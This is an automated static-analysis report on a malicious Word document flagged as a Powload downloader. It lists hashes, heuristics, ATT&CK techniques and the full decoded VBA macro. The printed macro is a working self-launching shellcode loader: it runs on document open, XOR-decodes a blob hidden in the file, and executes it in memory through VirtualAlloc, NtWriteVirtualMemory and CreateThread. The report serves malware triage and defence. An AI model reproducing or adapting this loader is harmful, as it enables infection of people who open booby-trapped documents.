Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e102ec428690d2c9…

MALICIOUS

Office (OLE)

37.2 KB Created: 2017-07-26 20:08:00 Authoring application: Microsoft Office Word First seen: 2017-08-08
MD5: 273e102a6b20a73a0ec3426eb9bc28a1 SHA-1: 82c897699a1d5a98be3e776c1a3b4c2a7aa3a292 SHA-256: e102ec428690d2c9ae113d86a55051a184f33f4a1a2a9a3fa10aaf7f8c023128
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros. The critical ClamAV heuristic and the presence of VBA macros, including a Document_Open macro, indicate malicious intent. The VBA script utilizes Windows API functions like VirtualAlloc and CreateThread, suggesting it is designed to allocate memory and execute code, likely a second-stage payload. The embedded URL, though confirmed benign, is present in the document's OLE body, which is unusual.

Heuristics 7

  • ClamAV: Doc.Downloader.Powload-6809817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Powload-6809817-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Public Sub Document_Open()
    BLohmFFArkWBpVjnSzkIWDX
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Document_Open
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4746 bytes
SHA-256: 0e5263124cc039cadb368118336aa00ccec05c19c881a7f5439068bcb04e0a75
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then
Private Declare PtrSafe Function AdyBn Lib "kernel32" Alias "CreateThread" (ByVal fAvMHSHfZShwXrlh As Long, ByVal QePcwUyjfiNX As Long, ByVal zJZJLLYdFivvnBrVwK As LongPtr, FXvPwvJ As Long, ByVal XDCJUixsxwnFAilkVtGi As Long, gnJxJrEeTDocf As Long) As LongPtr
Private Declare PtrSafe Function jTzieExLkTdPAoQpTmlRSoETZ Lib "kernel32" Alias "VirtualAlloc" (ByVal WLcmCzPkOVBbyNdA As Long, ByVal OVHoXnQynhykJUMmgzWx As LongPtr, ByVal YgcDqiGaMcueQqcYjYylOorqZe As Long, ByVal POsng As Long) As LongPtr
Private Declare PtrSafe Function NtWriteVirtualMemory Lib "NTDLL" (ByVal MPOEKH As LongPtr, ByVal jxBeefT As LongPtr, ByVal JoWAyleKPLDlhRluPnb As String, ByVal Bnuyrt As LongPtr, ByRef qNmmUl As LongPtr) As LongPtr
#Else
Private Declare Function AdyBn Lib "kernel32" Alias "CreateThread"  (ByVal fAvMHSHfZShwXrlh As Long, ByVal QePcwUyjfiNX As Long, ByVal zJZJLLYdFivvnBrVwK As Long, FXvPwvJ As Long, ByVal XDCJUixsxwnFAilkVtGi As Long, gnJxJrEeTDocf As Long) As Long
Private Declare Function jTzieExLkTdPAoQpTmlRSoETZ Lib "kernel32" Alias "VirtualAlloc" (ByVal WLcmCzPkOVBbyNdA As Long, ByVal OVHoXnQynhykJUMmgzWx As Long, ByVal YgcDqiGaMcueQqcYjYylOorqZe As Long, ByVal POsng As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal MPOEKH As Long, ByVal jxBeefT As Long, ByVal JoWAyleKPLDlhRluPnb As String, ByVal Bnuyrt As Long, ByRef qNmmUl As Long) As Long
#End If

Const cCOYXuVoZiFgtyeAXc = &H1000
Const MbxKa = &H40

Public Sub BLohmFFArkWBpVjnSzkIWDX()
    Dim IPyjxVhRcWPHpsnBYwVPAY() As Byte

    IPyjxVhRcWPHpsnBYwVPAY = CAsKzsqGsOMrLgzyIGpnHmFvpifh(ActiveDocument.FullName)
    Dim IyBZDuj As String
    IyBZDuj = StrConv(IPyjxVhRcWPHpsnBYwVPAY, 64)
    
    Dim YODyxhvdwcfztfBYzlJKzHhkK
    YODyxhvdwcfztfBYzlJKzHhkK = Split(IyBZDuj, "uWJsEFfMfmJcpAYHtQBBZCKEgPjgJsxzyhegrJbTdDeyYsDQSqbYlwPSlelPwYdMPkEiwSqJOHxwxmFOmsosqznbsmVmxmxfzsJNNvuZarjDZsvYzxDdKKvpXDQjWemCkrWfDSbQYosZqKbZQWNaJtvPWtQjFkdWeGsHvqvGwMfvsw")

    Dim PKWWEwSeRTLUQtCtzMvyKD As String
    Dim cRnaoM As String
    Dim vppqUWurmilCCMfXNclVnCNuSz As String
    cRnaoM = StrConv(StrConv(YODyxhvdwcfztfBYzlJKzHhkK(UBound(YODyxhvdwcfztfBYzlJKzHhkK)), 64), 128)
    vppqUWurmilCCMfXNclVnCNuSz = Mid$(cRnaoM, 3, Len(cRnaoM))

    PKWWEwSeRTLUQtCtzMvyKD = nqShgctEXxdBp("mCQsarmTRWhijbRlNlwUJrtDAAgDX", vppqUWurmilCCMfXNclVnCNuSz)
    
    #If VBA7 Then
        Dim UlTcjLZLoAycbqZAzXVQfZJSEwI As LongPtr
        Dim fAFRNediblQxFvfXF As LongPtr
    #Else
        Dim UlTcjLZLoAycbqZAzXVQfZJSEwI As Long
        Dim fAFRNediblQxFvfXF As Long
    #End If

    UlTcjLZLoAycbqZAzXVQfZJSEwI = jTzieExLkTdPAoQpTmlRSoETZ(0, Len(PKWWEwSeRTLUQtCtzMvyKD), cCOYXuVoZiFgtyeAXc, MbxKa)
    fAFRNediblQxFvfXF = NtWriteVirtualMemory(-1, UlTcjLZLoAycbqZAzXVQfZJSEwI, PKWWEwSeRTLUQtCtzMvyKD, Len(PKWWEwSeRTLUQtCtzMvyKD), 0)
    fAFRNediblQxFvfXF = AdyBn(0, 0, UlTcjLZLoAycbqZAzXVQfZJSEwI, 0, 0, 0)
End Sub

Public Function CAsKzsqGsOMrLgzyIGpnHmFvpifh(ByVal PlamNtwmMtMAntg As String) As Byte()
    Dim cRnaoM As Long
    Dim vppqUWurmilCCMfXNclVnCNuSz() As Byte
    cRnaoM = FreeFile
    If LenB(Dir(PlamNtwmMtMAntg)) Then
        Open PlamNtwmMtMAntg For Binary Access Read As cRnaoM
        ReDim vppqUWurmilCCMfXNclVnCNuSz(LOF(cRnaoM) - 1&) As Byte
        Get cRnaoM, , vppqUWurmilCCMfXNclVnCNuSz
        Close cRnaoM
    Else
        Err.Raise 53
    End If
    CAsKzsqGsOMrLgzyIGpnHmFvpifh = vppqUWurmilCCMfXNclVnCNuSz
    Erase vppqUWurmilCCMfXNclVnCNuSz
End Function

Public Sub Document_Open()
    BLohmFFArkWBpVjnSzkIWDX
End Sub

Sub Workbook_Open()
    Document_Open
End Sub

Public Function nqShgctEXxdBp(czscQDqWTzXcR As String, SCVxvEhaubeAihizKBW As String) As String
    Dim kcvsbVbqwskelOMvCFf As Long
    Dim kcfqYqviOuPvfnuQgDwADQ As String
    Dim bQaotvNXevmtiWeuKAS As Integer, vhLhxRtsjmOAteUTTZA As Integer, a As Long

    For kcvsbVbqwskelOMvCFf = 1 To Len(SCVxvEhaubeAihizKBW)
        a = kcvsbVbqwskelOMvCFf Mod Len(czscQDqWTzXcR)
        If a = 0 Then a = Len(czscQDqWTzXcR)
        
        bQaotvNXevmtiWeuKAS = Asc(Mid$(SCVxvEhaubeAihizKBW, kcvsbVbqwskelOMvCFf, 1))
        vhLhxRtsjmOAteUTTZA = Asc(Mid$(czscQDqWTzXcR, a, 1))
        kcfqYqviOuPvfnuQgDwADQ = kcfqYqviOuPvfnuQgDwADQ + Chr(bQaotvNXevmtiWeuKAS Xor vhLhxRtsjmOAteUTTZA)
    Next kcvsbVbqwskelOMvCFf
    
   nqShgctEXxdBp = kcfqYqviOuPvfnuQgDwADQ
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.